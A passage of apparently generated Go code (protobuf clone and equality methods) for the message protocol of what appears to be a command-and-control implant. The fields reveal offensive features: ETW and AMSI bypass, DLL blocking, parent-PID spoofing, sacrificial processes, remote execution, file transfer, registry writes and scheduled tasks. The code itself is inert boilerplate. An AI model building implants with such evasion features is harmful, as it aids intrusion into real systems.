{ + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Pipe) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PipeRequest) CloneVT() *PipeRequest { + if m == nil { + return (*PipeRequest)(nil) + } + r := new(PipeRequest) + r.Type = m.Type + r.Pipe = m.Pipe.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PipeRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Switch) CloneVT() *Switch { + if m == nil { + return (*Switch)(nil) + } + r := new(Switch) + if rhs := m.Urls; rhs != nil { + r.Urls = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Switch) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskCtrl) CloneVT() *TaskCtrl { + if m == nil { + return (*TaskCtrl)(nil) + } + r := new(TaskCtrl) + r.TaskId = m.TaskId + r.Op = m.Op + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskCtrl) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskInfo) CloneVT() *TaskInfo { + if m == nil { + return (*TaskInfo)(nil) + } + r := new(TaskInfo) + r.TaskId = m.TaskId + r.Last = m.Last + r.RecvCount = m.RecvCount + r.SendCount = m.SendCount + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *TaskListResponse) CloneVT() *TaskListResponse { + if m == nil { + return (*TaskListResponse)(nil) + } + r := new(TaskListResponse) + if rhs := m.Tasks; rhs != nil { + r.Tasks = make([]*TaskInfo, len(rhs)) + for k, v := range rhs { + r.Tasks[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *TaskListResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *FFmpegRequest) CloneVT() *FFmpegRequest { + if m == nil { + return (*FFmpegRequest)(nil) + } + r := new(FFmpegRequest) + r.Action = m.Action + r.DeviceName = m.DeviceName + r.OutputFormat = m.OutputFormat + r.OutputPath = m.OutputPath + r.Time = m.Time + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *FFmpegRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PtyRequest) CloneVT() *PtyRequest { + if m == nil { + return (*PtyRequest)(nil) + } + r := new(PtyRequest) + r.Type = m.Type + r.SessionId = m.SessionId + r.Shell = m.Shell + r.Cols = m.Cols + r.Rows = m.Rows + r.InputText = m.InputText + if rhs := m.InputData; rhs != nil { + r.InputData = slices.Clone(rhs) + } + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PtyRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PtyResponse) CloneVT() *PtyResponse { + if m == nil { + return (*PtyResponse)(nil) + } + r := new(PtyResponse) + r.SessionId = m.SessionId + r.OutputText = m.OutputText + r.Error = m.Error + r.SessionActive = m.SessionActive + if rhs := m.OutputData; rhs != nil { + r.OutputData = slices.Clone(rhs) + } + if rhs := m.ActiveSessions; rhs != nil { + r.ActiveSessions = slices.Clone(rhs) + } + if rhs := m.Metadata; rhs != nil { + r.Metadata = maps.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PtyResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *CommonBody) CloneVT() *CommonBody { + if m == nil { + return (*CommonBody)(nil) + } + r := new(CommonBody) + r.Name = m.Name + if rhs := m.U32Array; rhs != nil { + r.U32Array = slices.Clone(rhs) + } + if rhs := m.U64Array; rhs != nil { + r.U64Array = slices.Clone(rhs) + } + if rhs := m.BoolArray; rhs != nil { + r.BoolArray = slices.Clone(rhs) + } + if rhs := m.StringArray; rhs != nil { + r.StringArray = slices.Clone(rhs) + } + if rhs := m.BytesArray; rhs != nil { + r.BytesArray = make([][]byte, len(rhs)) + for k, v := range rhs { + r.BytesArray[k] = slices.Clone(v) + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *CommonBody) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (this *Ping) EqualVT(that *Ping) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Nonce != that.Nonce { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Ping) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Ping) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Register) EqualVT(that *Register) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Proxy != that.Proxy { + return false + } + if len(this.Module) != len(that.Module) { + return false + } + for i, vx := range this.Module { + vy := that.Module[i] + if vx != vy { + return false + } + } + if len(this.Addons) != len(that.Addons) { + return false + } + for i, vx := range this.Addons { + vy := that.Addons[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Addon{} + } + if q == nil { + q = &Addon{} + } + if !p.EqualVT(q) { + return false + } + } + } + if !this.Timer.EqualVT(that.Timer) { + return false + } + if !this.Sysinfo.EqualVT(that.Sysinfo) { + return false + } + if !this.Secure.EqualVT(that.Secure) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Register) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Register) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Secure) EqualVT(that *Secure) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Enable != that.Enable { + return false + } + if this.Key != that.Key { + return false + } + if this.Type != that.Type { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Secure) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Secure) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *KeyExchangeRequest) EqualVT(that *KeyExchangeRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + if string(this.Signature) != string(that.Signature) { + return false + } + if this.Timestamp != that.Timestamp { + return false + } + if this.Nonce != that.Nonce { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *KeyExchangeRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*KeyExchangeRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *KeyExchangeResponse) EqualVT(that *KeyExchangeResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.PublicKey != that.PublicKey { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *KeyExchangeResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*KeyExchangeResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Init) EqualVT(that *Init) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Init) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Init) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SysInfo) EqualVT(that *SysInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Filepath != that.Filepath { + return false + } + if this.Workdir != that.Workdir { + return false + } + if this.IsPrivilege != that.IsPrivilege { + return false + } + if !this.Os.EqualVT(that.Os) { + return false + } + if !this.Process.EqualVT(that.Process) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SysInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SysInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Suicide) EqualVT(that *Suicide) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if this.Timestamp != that.Timestamp { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Suicide) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Suicide) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Request) EqualVT(that *Request) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Input != that.Input { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if len(this.Params) != len(that.Params) { + return false + } + for i, vx := range this.Params { + vy, ok := that.Params[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Request) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Request) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Response) EqualVT(that *Response) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Output != that.Output { + return false + } + if this.Error != that.Error { + return false + } + if len(this.Kv) != len(that.Kv) { + return false + } + for i, vx := range this.Kv { + vy, ok := that.Kv[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if len(this.Array) != len(that.Array) { + return false + } + for i, vx := range this.Array { + vy := that.Array[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Response) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Response) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *BypassRequest) EqualVT(that *BypassRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.ETW != that.ETW { + return false + } + if this.AMSI != that.AMSI { + return false + } + if this.BlockDll != that.BlockDll { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *BypassRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*BypassRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *NetInterface) EqualVT(that *NetInterface) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Index != that.Index { + return false + } + if this.Name != that.Name { + return false + } + if this.Mac != that.Mac { + return false + } + if len(this.IpAddresses) != len(that.IpAddresses) { + return false + } + for i, vx := range this.IpAddresses { + vy := that.IpAddresses[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *NetInterface) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*NetInterface) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SockTabEntry) EqualVT(that *SockTabEntry) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.LocalAddr != that.LocalAddr { + return false + } + if this.RemoteAddr != that.RemoteAddr { + return false + } + if this.SkState != that.SkState { + return false + } + if this.Pid != that.Pid { + return false + } + if this.Protocol != that.Protocol { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SockTabEntry) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SockTabEntry) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *NetstatResponse) EqualVT(that *NetstatResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Socks) != len(that.Socks) { + return false + } + for i, vx := range this.Socks { + vy := that.Socks[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &SockTabEntry{} + } + if q == nil { + q = &SockTabEntry{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *NetstatResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*NetstatResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Block) EqualVT(that *Block) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.BlockId != that.BlockId { + return false + } + if string(this.Content) != string(that.Content) { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Block) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Block) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ACK) EqualVT(that *ACK) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Id != that.Id { + return false + } + if this.Success != that.Success { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ACK) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ACK) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Os) EqualVT(that *Os) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Version != that.Version { + return false + } + if this.Release != that.Release { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Username != that.Username { + return false + } + if this.Hostname != that.Hostname { + return false + } + if this.Locale != that.Locale { + return false + } + if len(this.ClrVersion) != len(that.ClrVersion) { + return false + } + for i, vx := range this.ClrVersion { + vy := that.ClrVersion[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Os) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Os) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Process) EqualVT(that *Process) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Pid != that.Pid { + return false + } + if this.Ppid != that.Ppid { + return false + } + if this.Owner != that.Owner { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Path != that.Path { + return false + } + if this.Args != that.Args { + return false + } + if this.Uid != that.Uid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Process) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Process) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Timer) EqualVT(that *Timer) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Expression != that.Expression { + return false + } + if this.Jitter != that.Jitter { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Timer) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Timer) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *FileInfo) EqualVT(that *FileInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.IsDir != that.IsDir { + return false + } + if this.Size != that.Size { + return false + } + if this.ModTime != that.ModTime { + return false + } + if this.Mode != that.Mode { + return false + } + if this.Link != that.Link { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *FileInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*FileInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *SacrificeProcess) EqualVT(that *SacrificeProcess) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hidden != that.Hidden { + return false + } + if this.BlockDll != that.BlockDll { + return false + } + if this.Etw != that.Etw { + return false + } + if this.Ppid != that.Ppid { + return false + } + if this.Argue != that.Argue { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *SacrificeProcess) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*SacrificeProcess) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LsResponse) EqualVT(that *LsResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Exists != that.Exists { + return false + } + if len(this.Files) != len(that.Files) { + return false + } + for i, vx := range this.Files { + vy := that.Files[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &FileInfo{} + } + if q == nil { + q = &FileInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LsResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LsResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DriveInfo) EqualVT(that *DriveInfo) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.DriveType != that.DriveType { + return false + } + if this.TotalSize != that.TotalSize { + return false + } + if this.FreeSize != that.FreeSize { + return false + } + if this.FileSystem != that.FileSystem { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DriveInfo) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DriveInfo) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *EnumDriversResponse) EqualVT(that *EnumDriversResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Drives) != len(that.Drives) { + return false + } + for i, vx := range this.Drives { + vy := that.Drives[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &DriveInfo{} + } + if q == nil { + q = &DriveInfo{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *EnumDriversResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*EnumDriversResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *PsResponse) EqualVT(that *PsResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Processes) != len(that.Processes) { + return false + } + for i, vx := range this.Processes { + vy := that.Processes[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Process{} + } + if q == nil { + q = &Process{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *PsResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*PsResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecRequest) EqualVT(that *ExecRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if this.Output != that.Output { + return false + } + if this.Singleton != that.Singleton { + return false + } + if this.Realtime != that.Realtime { + return false + } + if this.Ppid != that.Ppid { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecResponse) EqualVT(that *ExecResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.StatusCode != that.StatusCode { + return false + } + if string(this.Stdout) != string(that.Stdout) { + return false + } + if string(this.Stderr) != string(that.Stderr) { + return false + } + if this.Pid != that.Pid { + return false + } + if this.End != that.End { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *BinaryResponse) EqualVT(that *BinaryResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if string(this.Message) != string(that.Message) { + return false + } + if this.Status != that.Status { + return false + } + if this.Err != that.Err { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *BinaryResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*BinaryResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Modules) EqualVT(that *Modules) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Modules) != len(that.Modules) { + return false + } + for i, vx := range this.Modules { + vy := that.Modules[i] + if vx != vy { + return false + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Modules) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Modules) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Addons) EqualVT(that *Addons) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.Addons) != len(that.Addons) { + return false + } + for i, vx := range this.Addons { + vy := that.Addons[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &Addon{} + } + if q == nil { + q = &Addon{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Addons) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Addons) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Addon) EqualVT(that *Addon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Type != that.Type { + return false + } + if this.Depend != that.Depend { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Addon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Addon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LoadModule) EqualVT(that *LoadModule) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Bundle != that.Bundle { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LoadModule) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LoadModule) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *LoadAddon) EqualVT(that *LoadAddon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Type != that.Type { + return false + } + if this.Depend != that.Depend { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *LoadAddon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*LoadAddon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteAddon) EqualVT(that *ExecuteAddon) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Addon != that.Addon { + return false + } + if !this.ExecuteBinary.EqualVT(that.ExecuteBinary) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteAddon) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteAddon) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteBinary) EqualVT(that *ExecuteBinary) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if string(this.Bin) != string(that.Bin) { + return false + } + if len(this.Param) != len(that.Param) { + return false + } + for i, vx := range this.Param { + vy, ok := that.Param[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if this.Type != that.Type { + return false + } + if this.ProcessName != that.ProcessName { + return false + } + if len(this.Args) != len(that.Args) { + return false + } + for i, vx := range this.Args { + vy := that.Args[i] + if vx != vy { + return false + } + } + if this.EntryPoint != that.EntryPoint { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if this.Output != that.Output { + return false + } + if this.Arch != that.Arch { + return false + } + if this.Timeout != that.Timeout { + return false + } + if !this.Sacrifice.EqualVT(that.Sacrifice) { + return false + } + if this.Path != that.Path { + return false + } + if this.Context != that.Context { + return false + } + if this.Delay != that.Delay { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteBinary) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteBinary) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ExecuteCommand) EqualVT(that *ExecuteCommand) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Command != that.Command { + return false + } + if !this.Sacrifice.EqualVT(that.Sacrifice) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ExecuteCommand) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ExecuteCommand) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *UploadRequest) EqualVT(that *UploadRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Target != that.Target { + return false + } + if this.Priv != that.Priv { + return false + } + if string(this.Data) != string(that.Data) { + return false + } + if this.Hidden != that.Hidden { + return false + } + if this.Override != that.Override { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *UploadRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*UploadRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DownloadRequest) EqualVT(that *DownloadRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Name != that.Name { + return false + } + if this.BufferSize != that.BufferSize { + return false + } + if this.Dir != that.Dir { + return false + } + if this.Cur != that.Cur { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DownloadRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DownloadRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *DownloadResponse) EqualVT(that *DownloadResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Checksum != that.Checksum { + return false + } + if this.Size != that.Size { + return false + } + if this.Cur != that.Cur { + return false + } + if string(this.Content) != string(that.Content) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *DownloadResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*DownloadResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *CurlRequest) EqualVT(that *CurlRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Url != that.Url { + return false + } + if this.Timeout != that.Timeout { + return false + } + if this.Method != that.Method { + return false + } + if string(this.Body) != string(that.Body) { + return false + } + if len(this.Header) != len(that.Header) { + return false + } + for i, vx := range this.Header { + vy, ok := that.Header[i] + if !ok { + return false + } + if vx != vy { + return false + } + } + if this.Hostname != that.Hostname { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *CurlRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*CurlRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *ChownRequest) EqualVT(that *ChownRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Path != that.Path { + return false + } + if this.Uid != that.Uid { + return false + } + if this.Gid != that.Gid { + return false + } + if this.Recursive != that.Recursive { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *ChownRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*ChownRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *IfconfigResponse) EqualVT(that *IfconfigResponse) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if len(this.NetInterfaces) != len(that.NetInterfaces) { + return false + } + for i, vx := range this.NetInterfaces { + vy := that.NetInterfaces[i] + if p, q := vx, vy; p != q { + if p == nil { + p = &NetInterface{} + } + if q == nil { + q = &NetInterface{} + } + if !p.EqualVT(q) { + return false + } + } + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *IfconfigResponse) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*IfconfigResponse) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RegistryRequest) EqualVT(that *RegistryRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Registry.EqualVT(that.Registry) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RegistryRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RegistryRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *Registry) EqualVT(that *Registry) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hive != that.Hive { + return false + } + if this.Path != that.Path { + return false + } + if this.Key != that.Key { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *Registry) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*Registry) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *RegistryWriteRequest) EqualVT(that *RegistryWriteRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Hive != that.Hive { + return false + } + if this.Path != that.Path { + return false + } + if this.Key != that.Key { + return false + } + if this.StringValue != that.StringValue { + return false + } + if string(this.ByteValue) != string(that.ByteValue) { + return false + } + if this.DwordValue != that.DwordValue { + return false + } + if this.QwordValue != that.QwordValue { + return false + } + if this.Regtype != that.Regtype { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *RegistryWriteRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*RegistryWriteRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskScheduleRequest) EqualVT(that *TaskScheduleRequest) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Type != that.Type { + return false + } + if !this.Taskschd.EqualVT(that.Taskschd) { + return false + } + return string(this.unknownFields) == string(that.unknownFields) +} + +func (this *TaskScheduleRequest) EqualMessageVT(thatMsg any) bool { + that, ok := thatMsg.(*TaskScheduleRequest) + if !ok { + return false + } + return this.EqualVT(that) +} +func (this *TaskSchedule) EqualVT(that *TaskSchedule) bool { + if this == that { + return true + } else if this == nil || that == nil { + return false + } + if this.Name != that.Name { + return false + } + if this.Path != that.Path { + return false + } + if this.ExecutablePath != that.ExecutablePath { + return false + } + if this.TriggerType != that.TriggerType { + return false + } + if this.StartBoundary != that.StartBoundary { + return false + } + if this.Description != that.Description { + return false + } + if this.Enabled != that.Enabled { + return false + } + if this.LastRunTime != that.LastRunTime { + return false + } + if 